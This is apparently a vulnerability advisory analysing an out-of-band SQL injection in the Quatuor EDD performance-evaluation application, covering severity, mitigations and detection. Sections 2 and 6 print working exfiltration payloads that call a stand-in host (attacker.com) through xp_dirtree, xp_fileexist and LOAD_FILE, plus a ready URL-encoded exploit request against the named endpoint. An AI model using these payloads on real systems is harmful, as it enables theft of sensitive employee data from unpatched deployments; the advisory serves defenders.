Comprehensive Technical Analysis of EUVD-2026-4747 (CVE-2026-1475)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4747 (CVE-2026-1475) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario parameter of the /evaluacion_acciones_evalua.aspx endpoint, allowing attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.3 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:N): No user interaction or prior access needed.
• Privileges Required (PR:N): No authentication required.
• User Interaction (UI:N): No user interaction required.
• Confidentiality Impact (VC:H): High impact; sensitive data can be extracted.
• Integrity Impact (VI:H): High impact; potential for data manipulation.
• Availability Impact (VA:L): Low impact; limited disruption to service.
• Subsequent Confidentiality (SC:N): No further confidentiality impact.
• Subsequent Integrity (SI:N): No further integrity impact.
• Subsequent Availability (SA:N): No further availability impact.

Key Takeaways:

• Critical severity due to unauthenticated remote exploitation and high confidentiality/integrity impact.
• OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs, IDS) by using DNS, HTTP, or SMB exfiltration rather than direct responses.

---

2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

OOB SQLi leverages database functions that initiate external network requests to exfiltrate data. Common techniques include:

A. DNS Exfiltration (Most Common)

• Attacker injects a payload that forces the database to perform a DNS lookup to an attacker-controlled server.
• Example payload (Microsoft SQL Server):

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');
  

• The database attempts to resolve username.attacker.com, leaking data in the subdomain.

B. HTTP/S Exfiltration

• Uses database functions to make HTTP requests to an attacker-controlled server.
• Example (MySQL):

  SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'));
  

C. SMB/UNC Path Exfiltration

• Forces the database to authenticate to an attacker-controlled SMB server.
• Example (SQL Server):

  EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 password FROM users);
  

D. Time-Based OOB (Less Common)

• If network exfiltration is blocked, attackers may use time delays to infer data via conditional responses.

Attack Workflow

1. Reconnaissance: Identify vulnerable parameter (Id_usuario in /evaluacion_acciones_evalua.aspx).
2. Payload Crafting: Construct an OOB SQLi payload (e.g., DNS exfiltration).
3. Exfiltration: Database executes the payload, sending data to the attacker’s server.
4. Data Extraction: Attacker collects and decodes the exfiltrated data (e.g., via DNS logs).

Exploitation Requirements

• Database Type: Likely Microsoft SQL Server (common in enterprise applications).
• Network Access: Attacker must control a DNS/HTTP/SMB server to receive exfiltrated data.
• Database Permissions: The application’s DB user must have external network access (e.g., xp_dirtree, LOAD_FILE).

---

3. Affected Systems and Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD) (Performance Evaluation System)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (no patch available at the time of disclosure)
• Deployment Context: Likely used in public administration, HR, or corporate performance management in Spain/EU.

Database Backend Assumptions

• Primary Suspect: Microsoft SQL Server (common in .NET-based applications).
• Alternative Possibilities: MySQL, PostgreSQL (if configured with external access functions).

---

4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., SqlCommand with parameters in .NET).
   • Example (C#):

     // UNSAFE: Dynamic SQL
     string query = "SELECT * FROM users WHERE Id_usuario = " + userInput;
     
     // SAFE: Parameterized query
     SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE Id_usuario = @Id_usuario", connection);
     cmd.Parameters.AddWithValue("@Id_usuario", userInput);
     

2. Web Application Firewall (WAF) Rules

   • Deploy OWASP ModSecurity Core Rule Set (CRS) with SQLi and OOB-specific rules.
   • Block DNS/HTTP/SMB requests originating from the database server.

3. Network-Level Protections

   • Restrict outbound traffic from the database server to only trusted IPs.
   • Disable unnecessary database functions (e.g., xp_dirtree, LOAD_FILE).

4. Temporary Workarounds

   • Disable the vulnerable endpoint (/evaluacion_acciones_evalua.aspx) if not critical.
   • Implement IP whitelisting for access to the application.

Long-Term Remediation

1. Vendor Patch

   • Monitor Quatuor’s updates for a security patch addressing the vulnerability.
   • Apply patches immediately upon release.

2. Database Hardening

   • Least Privilege Principle: Restrict the application’s DB user to read-only where possible.
   • Disable External Access: Revoke permissions for xp_cmdshell, xp_dirtree, OPENROWSET, etc.

3. Code Review & Secure Development

   • Conduct a full security audit of the EDD application.
   • Adopt secure coding practices (e.g., OWASP Top 10, CWE-89 for SQLi).
   • Implement ORM frameworks (e.g., Entity Framework) to abstract SQL queries.

4. Monitoring & Detection

   • Deploy SIEM solutions (e.g., Splunk, ELK) to detect unusual outbound traffic from the database.
   • Enable database auditing (e.g., SQL Server Audit, MySQL Enterprise Audit).

---

5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

• Public Administration & Critical Infrastructure:

  • The EDD application is likely used in government HR systems, posing a risk to sensitive employee data.
  • Potential for lateral movement into other government systems if credentials are exfiltrated.

• Corporate & Enterprise Environments:

  • Performance evaluation data may include salary information, disciplinary records, or PII, making it a high-value target for espionage or ransomware actors.

• Compliance & Regulatory Impact:

  • GDPR Violation Risk: Unauthorized data exfiltration could lead to fines up to 4% of global revenue (Art. 83 GDPR).
  • NIS2 Directive: Organizations in critical sectors (e.g., energy, transport) must report incidents within 24 hours.

Threat Actor Motivations

• Cybercriminals: Data theft for fraud, extortion, or sale on dark web markets.
• State-Sponsored Actors: Targeting government employees for espionage.
• Hacktivists: Disrupting public sector operations for political motives.

Broader Implications

• Supply Chain Risk: If Quatuor’s software is used across multiple EU organizations, a single exploit could lead to widespread compromise.
• Zero-Day Exploitation: Since no patch is available, active exploitation is likely before mitigation is deployed.
• Reputation Damage: Organizations failing to secure such systems may face loss of public trust.

---

6. Technical Details for Security Professionals

Proof-of-Concept (PoC) Exploitation

Step 1: Identify Vulnerable Parameter

• Target URL: https://[target]/evaluacion_acciones_evalua.aspx?Id_usuario=1
• Test for SQLi:

  GET /evaluacion_acciones_evalua.aspx?Id_usuario=1' HTTP/1.1
  

  • If the application returns a database error, it is likely vulnerable.

Step 2: Craft OOB Payload (DNS Exfiltration)

• Payload (SQL Server):

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');
  

• HTTP Request:

  GET /evaluacion_acciones_evalua.aspx?Id_usuario=1;DECLARE%20@p%20varchar(1024);SELECT%20@p=(SELECT%20TOP%201%20username%20FROM%20users);EXEC('master..xp_dirtree%20"\\'%20+%20@p%20+%20'.attacker.com\share"');-- HTTP/1.1
  

Step 3: Capture Exfiltrated Data

• Attacker’s DNS Server (e.g., dnsmasq):

  sudo dnsmasq -d -q -C /dev/null
  

• Expected Output:

  dnsmasq: query[A] admin.attacker.com from [victim-ip]
  

  • The subdomain admin.attacker.com indicates the exfiltrated username is admin.

Detection & Forensics

Indicators of Compromise (IoCs)

• Network Traffic:
  • Unexpected DNS queries to attacker-controlled domains.
  • SMB/HTTP requests from the database server to external IPs.
• Database Logs:
  • Execution of xp_dirtree, xp_cmdshell, or LOAD_FILE.
  • Unusual outbound connections in SQL Server logs.

Forensic Analysis

• Check SQL Server Error Logs for:

  SELECT * FROM sys.dm_exec_sessions WHERE is_user_process = 1;
  

• Review Web Server Logs for:

  GET /evaluacion_acciones_evalua.aspx?Id_usuario=[malicious_payload]
  

Advanced Mitigation Techniques

1. Database-Level Protections

   • SQL Server: Disable xp_cmdshell, xp_dirtree, and OPENROWSET.

     EXEC sp_configure 'show advanced options', 1;
     RECONFIGURE;
     EXEC sp_configure 'xp_cmdshell', 0;
     RECONFIGURE;
     

   • MySQL: Restrict FILE privilege.

     REVOKE FILE ON *.* FROM 'app_user'@'%';
     

2. Network Segmentation

   • Isolate the database server in a DMZ with strict egress filtering.
   • Block outbound DNS/HTTP/SMB unless explicitly required.

3. Runtime Application Self-Protection (RASP)

   • Deploy RASP solutions (e.g., Contrast Security, Hdiv) to block SQLi at runtime.

---

Conclusion & Recommendations

EUVD-2026-4747 (CVE-2026-1475) represents a critical OOB SQLi vulnerability with severe implications for confidentiality and integrity. Given the lack of a patch and ease of exploitation, organizations using the Quatuor EDD application must immediately implement mitigations to prevent data exfiltration.

Priority Actions for Security Teams

1. Apply input validation and parameterized queries to all SQL queries.
2. Deploy WAF rules to block OOB SQLi attempts.
3. Restrict database outbound traffic to prevent exfiltration.
4. Monitor for exploitation attempts via SIEM and database logs.
5. Prepare for patching once Quatuor releases an update.

Long-Term Strategy

• Conduct a full security audit of the EDD application.
• Adopt a secure SDLC to prevent similar vulnerabilities in future releases.
• Engage with INCIBE/CERT-EU for coordinated disclosure and threat intelligence sharing.

Final Risk Assessment: Critical (9.3 CVSS v4.0) – Immediate action required to prevent data breaches and compliance violations.